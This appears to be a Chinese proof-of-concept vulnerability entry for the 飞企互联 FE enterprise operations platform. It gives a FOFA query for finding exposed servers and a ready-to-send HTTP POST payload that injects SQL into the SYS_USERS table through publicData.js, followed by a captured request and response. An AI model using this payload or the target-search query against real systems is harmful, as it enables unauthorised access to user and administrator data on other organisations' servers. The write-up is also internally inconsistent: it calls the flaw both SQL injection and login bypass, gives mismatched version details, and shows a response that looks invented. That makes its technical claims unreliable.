

F1-5飞企互联-FE企业运营管理平台-SQL

漏洞描述:

飞企互联-FE企业运营管理平台 2.1n接口处存在登录绕过漏洞, 未授权的攻击者可构造恶意的url访问页面, 可直接进入后台管理页面, 获取敏感信息, 进一步利用可控制整个服务器。

影响版本:

版本<= V6.6.0

网站图片:



回话被找回

网络测绘:

fofa语法:

app="飞企互联-FE企业运营管理平台"

漏洞复现:

payload:

```
POST /oaerp/ui/common/publicData.js%70 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
Cookie: JSESSIONID=98B966C0CFC09D9072332217CD0F400D
Content-Type: application/x-www-form-urlencoded
Content-Length: 68
```

type=getSelectData&table=SYS_USERS&filter=SU01='admin' AND 6155=6155

效果图:

Request

Pretty Raw Hex

🔍 ↻ ☰

```
1 POST /oaerp/ui/common/publicData.js%70 HTTP/1.1
2 Host:
3 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:122.0) Gecko/20100101
  Firefox/122.0
4 Accept: */*
5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 Accept-Encoding: gzip, deflate, br
7 Connection: close
8 Cookie: JSESSIONID=98B966C0CFC09D9072332217CD0F400D
9 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 68
11
12 type=getSelectData&table=SYS_USERS&filter=SU01='admin' AND 6155=6155]
```

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: Apache-Coyote/1.1
3 Content-Type: text/html; charset=UTF-8
4 Content-Length: 918
5 Date: Thu, 01 Feb 2024 01:41:23 GMT
6 Connection: close
7
8
9
10
11
12
13
14
15
16 [{"SU01":"admin","SU02":"超级管理员","SU03":"系统管理员","SU04":"数据管理员","SU05":"安全管理员","SU06":"网络管理员","SU07":"应用管理员","SU08":"运维管理员","SU09":"测试管理员","SU10":"培训管理员","SU11":"招聘管理员","SU12":"薪酬管理员","SU13":"绩效管理员","SU14":"考勤管理员","SU15":"合同管理员","SU16":"采购管理员","SU17":"销售管理员","SU18":"库存管理员","SU19":"物流管理员","SU20":"财务管理员","SU21":"人力资源管理员","SU22":"法务管理员","SU23":"审计管理员","SU24":"质量管理管理员","SU25":"生产管理管理员","SU26":"设备管理管理员","SU27":"能源管理管理员","SU28":"环境管理管理员","SU29":"安全管理管理员","SU30":"其他管理员"}]
```